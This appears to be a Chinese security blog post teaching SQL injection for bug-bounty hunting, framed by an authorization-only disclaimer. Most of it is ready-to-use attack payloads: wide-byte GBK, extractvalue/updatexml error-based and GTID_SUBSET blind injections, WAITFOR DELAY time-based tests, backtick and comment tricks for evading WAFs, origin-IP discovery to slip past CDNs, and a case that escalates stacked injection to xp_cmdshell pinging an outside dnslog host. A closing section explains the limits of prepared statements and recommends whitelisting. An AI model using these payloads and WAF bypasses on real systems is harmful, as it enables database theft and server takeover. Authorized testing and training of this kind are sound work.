⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在SRC漏洞挖掘中,SQL注入是最严重的漏洞类型之一。一旦成功利用,攻击者可以读取、修改甚至删除数据库中的数据,甚至可能获得服务器的完全控制权。本文将带你全面了解SQL注入的测试思路、漏洞类型和实战技巧。


一、SQL注入测试基本思路

1. 寻找注入点

测试场景

  • URL链接参数:关注每个URL参数,尤其是数字类型的参数
  • Cookie头:Cookie中的值也可能存在注入
  • POST请求体:表单提交的参数同样需要测试
  • 伪静态URL:如 article/123.html 中的数字可能存在注入
  • 业务校验接口:修改密码、重置密码、身份验证等需要参数校验的接口
  • 数据筛选接口:列表查询、排序筛选等功能接口

常见参数类型

  • ID类参数iduseridarticleidorderidclassid
  • 筛选类参数fromRegionstatustypecategorylevel
  • 排序类参数sortorderorderbysortbydescasc
  • 分页类参数pagelimitoffsetpagesize
  • 搜索类参数keywordsearchquery

测试方法

  • 数值测试:将 ?id=3 修改为 ?id=1+3?id=3-1?id=3*3
    • 如果结果相同,说明可能存在数值注入
  • 单/双引号测试:在参数后添加单引号 ' 或双引号 "
    • 观察页面是否报错
    • 如果报错后添加另一个引号恢复正常,说明找到了闭合方式
  • 引号+括号测试:尝试 ?id=1')?id=1"))

业务校验场景测试

  • 修改密码接口:测试 oldpasswordnewpasswordconfirmPassword 参数
  • 密码重置接口:测试 tokenuidphoneemail 参数
  • 身份验证接口:测试 usernamepasswordcaptcha 参数
  • 用户注册接口:测试 usernamephoneemailpassword 参数

排序参数注入测试

  • order参数测试?order=id?order=if(1=1,id,sleep(5))(MySQL布尔盲注)或 ?order=1 and extractvalue(1,concat(0x7e,user()))(报错注入)
  • sort参数测试?sort=name?sort=name'?sort=(select updatexml(1,concat(0x7e,user()),1))
  • desc参数测试?sort=name&desc=1?sort=name&desc=if(1=1,1,sleep(5))?sort=name' desc--
  • fromRegion参数测试?fromRegion=beijing?fromRegion=beijing' OR '1'='1?fromRegion=(select group_concat(table_name) from information_schema.tables)

2. 宽字节注入(PHP特定)

漏洞原理real_escape_string 函数的转义效果依赖于数据库连接的字符集。如果数据库使用GBK/GB2312等宽字节编码,攻击者可构造"多字节字符"吃掉转义的反斜杠。

触发条件

  1. 数据库字符集为GBK(核心)
  2. PHP仅使用real_escape_string转义,未强制同步编码,也未使用预处理语句

测试Payload

?id=%df%27 OR 1=1 --+

原理说明

  1. %df%27 是URL编码:%df 是GBK宽字节的第一个字节,%27 是单引号
  2. mysqli_real_escape_string 会给单引号加反斜杠,变成 %df%5c%27%5c 是反斜杠)
  3. 在GBK编码中,%df%5c 会被解析成一个合法的多字节字符,剩下的 %27(单引号)就会闭合SQL语句的引号,触发注入

3. JS代码审计

测试方法:使用JSFUZZ工具对参数进行fuzz测试。

实战示例

xxx.com/method=select&userid=88        → 页面返回数据
xxx.com/method=select&userid=88%27    → 返回空白页面
xxx.com/method=select&userid=88%27%20and%20%271%27=%271 → 页面返回数据

二、SQL注入类型

1. 报错注入

特点:数据库错误信息直接回显到页面上,易于发现和利用。

测试方法

  • 输入单引号触发数据库报错
  • 根据报错信息判断数据库类型和结构

extractvalue报错注入(MySQL专用)

函数原理:EXTRACTVALUE(xml_doc, xpath_expr) 是MySQL的XML解析函数,第二个参数要求合法XPath表达式。如果传入非合法XPath字符串,数据库会直接抛出报错,并把非法内容回显在报错信息里,直接带出查询结果。

适用场景:id数字型注入点,直接替换原参数值即可。

测试Payload

?id=desc,`extractvalue`(1,concat_ws(0x0a,0x0a,user()))

完整SQL拼接

select * from table where id = desc,`extractvalue`(1,concat_ws(0x0a,0x0a,user()))

原理拆解

  • desc 是关键字(降序排序),在这里充当第一个表达式占位,无实际作用
  • 逗号,分割,追加执行extractvalue()函数
  • concat_ws(0x0a,0x0a,user()) 构造非合法XPath触发报错
  • 0x0a是换行符,XPath语法里换行符会破坏语法触发报错

为什么用desc占位

  • 很多WAF会拦截数字,函数这种经典逗号注入
  • desc是冷门占位符,能绕过简单正则

反引号绕过技巧

`extractvalue`(1,concat_ws(0x0a,0x0a,user()))

MySQL中反引号可包裹函数标识符,extractvalue() = extractvalue()。简易WAF采用纯字符串匹配,只拦截连续extractvalue,插入反引号破坏连续字符串匹配,规则失效放行。

同类Payload

?id=desc,`updatexml`(1,concat(0x5e,user()),1)

优缺点

  • ✅ 优点:直接回显数据,不需要二分逐字符猜解,速度远快于布尔盲注
  • ❌ 缺点:单次最多回显32个字符,长内容需要截取;依赖网站展示SQL报错

2. 盲注

特点:没有直接的数据回显,需要通过条件判断来获取信息。

类型

  • 布尔盲注:通过页面返回的真假来判断数据
  • 时间盲注:通过响应时间来判断数据

GTID_SUBSET布尔盲注(MySQL专用)

适用场景:id数字型注入点,无需单引号闭合,直接用运算/函数表达式替换数字。

测试Payload

?id=GTID_SUBSET(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')

完整SQL拼接

select * from table where id = GTID_SUBSET(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')

执行逻辑

  • GTID_SUBSET只会返回0或1
  • 数据库把返回值当作id查询
  • 返回1 → 查询id=1的数据(页面有内容)
  • 返回0 → 查询id=0的数据(页面空白/无数据)
  • 依靠页面有无数据两种状态实现布尔盲注

为什么偏爱GTID_SUBSET绕过WAF

  • 常规数字盲注容易被拦截:?id=1 and ascii(substr(user(),1,1))>100
  • WAF关键词拦截:and、if、sleep、substr、ascii
  • GTID_SUBSET是冷门运维函数,大多通用WAF无拦截规则
  • 不需要and/or拼接,不需要延时函数
  • 直接返回0/1适配数字型id查询点
  • MySQL5.6+全部可用

逐字符猜解Payload模板

?id=GTID_SUBSET(concat(if(ascii(substr(SESSION_USER(),1,1))>97,0x30000000-0000-0000-0000-000000000000:1,a),':1'),'00000000-0000-0000-0000-000000000000:1')

替换函数查库名、版本、表名

  • SESSION_USER() → database() 当前库
  • SESSION_USER() → version() 数据库版本
  • SESSION_USER() → (select group_concat(table_name) from information_schema.tables where table_schema=database()) 查表

反引号绕过技巧

?id=`GTID_SUBSET`(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')
  • 反引号包裹函数名,绕过关键词拦截
  • 简易WAF只拦截连续字符串GTID_SUBSET,中间多了反引号分隔,正则无法命中

反引号变形

`GTID`_`SUBSET`(...)
GTID_``SUBSET`(...)

优缺点

  • ✅ 优点:不依赖报错,关闭报错页面也能打;GTID函数冷门大部分WAF无拦截;无32字符长度限制
  • ❌ 缺点:需要二分遍历ASCII,请求量大、拖库速度慢

3. 堆叠注入

特点:可以执行多条SQL语句,用分号分隔。

测试方法

?id=1;select 1/0

如果第二条语句报错,说明存在堆叠注入。

4. 联合查询注入

特点:使用UNION关键字合并查询结果。

测试方法

?id=-1' UNION SELECT 1,2,3--

三、WAF绕过技巧

1. 参数污染

方法:第一个参数传无效的POC,第二个同名参数传有效的POC。

2. 特殊语法绕过

常用技巧

  • 使用+连接符替代空格
  • 使用EXECUTE()替代EXEC(SQL Server)
  • 使用||连接字符串(Oracle)
  • 在函数名和括号之间插入注释:instr/**/(...)

3. 编码绕过

方法

  • URL编码
  • Unicode编码
  • 十六进制编码

4. 特殊字符绕过

常用字符

  • -- 注释符
  • # 注释符(MySQL)
  • /*...*/ 多行注释

5. Oracle数据库特殊技巧

Oracle特有函数

  • instr:字符串查找函数,可用于布尔盲注
  • substr:字符串截取函数
  • length:字符串长度函数

绕过方法

  • 使用管道符|连接语句
  • 在函数名和括号之间加/**/

6. .NET页面延时注入

适用场景:ASP.NET + SQL Server环境,WAF拦截常规sleep语句。

测试Payload

?userid=1';WAITFOR DELAY '0:0:5'--
?userid=1);WAITFOR DELAY '0:0:5'--
?userid=1));WAITFOR DELAY '0:0:5'--

关键技巧

  • SQL Server使用WAITFOR DELAY代替MySQL的sleep()函数
  • 通过调整闭合方式(单引号、括号)测试不同场景
  • 延时时间格式:'0:0:5' 表示5秒

7. PHP报错型布尔盲注

适用场景:PHP环境,数据库报错信息被部分屏蔽,但仍有差异。

测试Payload

?id=1 and extractvalue(1,concat(0x7e,(select database())))
?id=1 and updatexml(1,concat(0x7e,user()),1)

关键技巧

  • 利用报错函数触发数据库错误
  • 通过观察页面是否报错判断条件真假
  • 适用于无法直接回显数据但可触发报错的场景

8. 访问真实IP绕过CDN/WAF

适用场景:目标网站使用CDN或云WAF,直接访问源站IP可绕过防护。

测试方法

  1. 通过DNS解析获取真实IP
  2. 修改Hosts文件或请求头中的Host字段
  3. 直接访问真实IP进行测试

关键技巧

  • 使用工具解析域名
  • 通过SSL证书信息获取真实IP
  • 使用在线工具(如censys.io)查询证书对应的IP

四、实战案例总结

案例1:SQL注入绕过WAF导致RCE

发现过程

  1. 参数分析:发现接口 /API/Web/Recruit.ashx?action=info&rid=
  2. 确认注入点:rid=2602' 触发数据库报错
  3. WAF检测:被安全狗WAF拦截
  4. 绕过尝试:使用+连接符绕过
  5. 堆叠注入:rid=2602;select 1/0 确认堆叠注入存在
  6. RCE实现:rid=2602;EXECUTE('master..xp_cmdshell ''ping dnslog''')

关键技巧:使用EXECUTE()替代EXEC绕过WAF检测。

案例2:路径删减引起的SQL注入

发现过程

  1. 小程序抓包:发现多路径URL
  2. 路径删减:删减URL路径发现后台管理系统
  3. JS代码审计:分析前端代码发现接口信息
  4. 参数传递分析:发现A请求包的参数会保存到B请求包的返回中
  5. SQL回显发现:构造请求后发现SQL语句回显
  6. Payload构造:利用用户名长度限制构造注入语句

关键技巧:关注多个请求包之间的参数传递关系。

案例3:Oracle注入WAF绕过

发现过程

  1. 注入点发现:使用xiasql工具发现注入点
  2. 长度限制分析:第一个参数限制50字节
  3. WAF绕过:发现and/or被拦截,使用管道符连接
  4. 函数fuzz:发现instr函数可用
  5. 绕过技巧:函数名和括号之间加/**/
  6. 布尔盲注:使用instr函数进行盲注

关键技巧instr/**/(...) 注释穿插绕过WAF规则。


五、sqlmap使用技巧

基础配置

重要参数

  • --random-agent:随机User-Agent,避免被识别
  • --flush-session:清除缓存,防止误报
  • --level 2:增加cookie检查
  • --level 3:增加refer和ua检查

注入测试

常用命令

python sqlmap.py --random-agent --flush-session -r test.txt -p "指定参数" --is-dba --batch --tamper=space2comment

注意事项

不要使用dump命令

  • 数据量大会产生很大流量
  • 可能导致被封禁
  • 影响正常业务

时间注入设置

--time-sec=10

默认是5秒,建议设置大些防止误报。

自定义配置

修改默认UA

  • 编辑 sqlmap/data/settings.py
  • 修改 DEFAULT_USER_AGENT 的值

六、实战心得

1. 不放过任何可疑参数

在SQL注入测试中,不要只关注常见的ID参数,以下类型的参数同样可能存在注入:

  • 表名参数?table=users?table=users where 1=1
  • 列名参数?column=name?column=name from users
  • 排序参数?orderby=id?orderby=if(1=1,id,sleep(5))(MySQL)或 ?orderby=CASE WHEN 1=1 THEN id ELSE (SELECT SLEEP(5)) END
  • 排序方向参数?sort=asc?sort=asc and extractvalue(1,concat(0x7e,user()))
  • 分页参数?limit=10?limit=10 offset 0;--(MySQL)或 ?limit=10;WAITFOR DELAY '0:0:5'--(SQL Server)

2. 预编译不能完全防范SQL注入

很多开发者认为使用预编译语句(Prepared Statement)就可以完全防范SQL注入,这是一个常见的误区。

预编译的局限性

  • 预编译只能防止值的注入,无法防止表名、列名、排序字段等的注入
  • 如果SQL语句中的表名、列名是动态拼接的,预编译无法保护
  • 排序参数(orderby、sort)、分页参数(limit)通常无法使用预编译

典型场景

// 危险代码:表名动态拼接
String sql = "SELECT * FROM " + tableName + " WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);

虽然id参数使用了预编译,但tableName是直接拼接的,如果tableName可控,仍然存在SQL注入风险。

防御建议

  • 对表名、列名等进行白名单校验
  • 使用枚举类型限制排序字段
  • 对所有用户可控的参数进行严格校验

结语

SQL注入是最危险的Web漏洞之一,掌握SQL注入测试技巧对于SRC漏洞挖掘至关重要。记住:仔细测试每个参数、善于分析报错信息、灵活运用绕过技巧,这是发现SQL注入漏洞的关键。

如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐